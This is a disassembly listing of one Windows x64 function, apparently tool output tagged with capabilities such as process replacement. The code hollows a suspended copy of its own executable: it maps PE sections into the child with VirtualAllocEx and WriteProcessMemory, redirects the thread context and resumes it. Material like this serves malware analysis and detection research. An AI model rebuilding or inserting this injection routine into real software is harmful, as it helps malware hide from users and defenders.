Function at 0x1400453d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
push rbx
push rsi
push r15
sub rsp, 0x4f0
xorps xmm1, xmm1
mov qword [r11 + 8], rbp
xor eax, eax
mov qword [r11 + 0x10], rdi
cmp qword [rcx + 0x18], 0xf
xorps xmm0, xmm0
mov qword [r11 - 0x28], r14
mov rbx, rcx
lea r14, [rcx + 0x18]
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
mov qword [r11 - 0x438], rax
movups xmmword [rsp + 0x50], xmm0
jbe 0x14004544a
mov rbp, qword [rcx]
lea r14, [rcx + 0x18]
mov rax, rbp
jmp 0x140045450
mov rax, rbx
mov rbp, rbx
movsxd rdi, dword [rbp + 0x3c]
xor r15d, r15d
add rdi, rax
mov rsi, r14
cmp dword [rdi], 0x4550
jne 0x140045638
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140045638
lea edx, [r15 + 8]
xor ecx, ecx
lea r9d, [r15 + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov r15, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140045635
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x520], r12
mov qword [rsp + 0x4e8], r13
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp qword [r14], 0xf
mov r8, rbx
mov r9d, dword [rdi + 0x54]
mov r12, rax
jbe 0x140045542
mov r8, qword [rbx]
mov rcx, qword [rsp + 0x50]
xor eax, eax
mov rdx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r10d, r10d
mov r14d, r10d
cmp r10w, word [rdi + 6]
jae 0x1400455ee
mov esi, r10d
jmp 0x140045573
xor r10d, r10d
movsxd rax, dword [rbp + 0x3c]
add rax, rsi
cmp qword [rbx + 0x18], 0xf
jbe 0x140045589
add rax, qword [rbx]
mov rcx, qword [rbx]
jmp 0x14004558f
add rax, rbx
mov rcx, rbx
mov r8d, dword [rax + 0x11c]
mov edx, dword [rax + 0x114]
add r8, rcx
mov rcx, qword [rsp + 0x50]
add rdx, r12
mov r9d, dword [rax + 0x118]
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [r15 + 0x88]
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc r14
add rsi, 0x28
cmp r14, rax
jb 0x140045570
mov eax, dword [rdi + 0x28]
mov rdx, r15
add rax, r12
mov qword [r15 + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r13, qword [rsp + 0x4e8]
lea rsi, [rbx + 0x18]
mov r12, qword [rsp + 0x520]
xor r15d, r15d
mov rdx, qword [rsi]
mov r14, qword [rsp + 0x4e0]
mov rdi, qword [rsp + 0x518]
mov rbp, qword [rsp + 0x510]
cmp rdx, 0xf
jbe 0x140045685
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140045680
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14004569f
mov rcx, r8
call fcn.1403b4e4c
mov qword [rbx + 0x10], r15
mov qword [rsi], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
add rsp, 0x4f0
pop r15
pop rsi
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3